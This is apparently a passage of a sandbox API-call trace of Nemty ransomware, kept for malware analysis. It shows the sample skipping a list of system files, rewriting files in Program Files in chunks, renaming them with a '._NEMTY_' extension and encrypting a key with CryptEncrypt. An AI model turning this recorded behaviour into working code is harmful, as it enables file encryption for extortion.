1 [0087.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402f0 [0087.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.905] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.905] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.012] CloseHandle (hObject=0xffffffff) returned 0 [0088.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340460 [0088.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0088.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0088.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63440d0 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.012] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440d0 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340460 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340208 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0088.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.012] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0088.012] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0088.012] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0088.012] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0088.012] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="rsa") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="ntldr") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="programdata") returned 1 [0088.013] lstrcmpiW (lpString1="SpecialNavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0088.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 37 [0088.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0088.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 37 [0088.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0088.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0088.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0088.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 37 [0088.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0088.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0088.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0088.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationUp_ButtonGraphic.png", cchWideChar=37, lpMultiByteStr=0x6345640, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 37 [0088.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0088.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0088.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0088.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0088.014] Sleep (dwMilliseconds=0x5) [0088.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe81db3d0, dwHighDateTime=0x1d561e7)) [0088.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe81db3d0, dwHighDateTime=0x1d561e7)) [0088.029] GetLastError () returned 0x5 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.029] GetLastError () returned 0x5 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.029] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0088.029] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0088.029] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0088.029] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="b7Ldg7pZif8U6003uElL7KUk848W34D4+jadUsSzrgxbHVnaIx8XCaz+M4y1LCI5\r\nNZHxfBq9Qh/y+ux9TzIq5filJ2jAWj6SobUSTaXh4p05L3PRFg/TL9gL7gh1ArCt\r\nQr1Wq7EyxyGb8sA3aQAR6biS3sjspG+uWj1q+siAeAVeYKv2TdBLhed050QySZ/o\r\nuRNf2L8ouhKyKte5yO6I+87zS0qkGLs47M2w7qOlOBeMDzI7pfrrN/WO8kz2Wm4b\r\n5NU8w3v5OARSD3NevcPd2IWs6X2gTEAkbGbQp/OCLNd8jWYM2k7QG/vY2VDBAvwl\r\nJUOeWI9dst6kUD6iTqN5ZQ==\r\n", pcchString=0x653e91c) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0088.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0088.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0088.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0088.029] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.030] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0088.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0088.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0088.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, 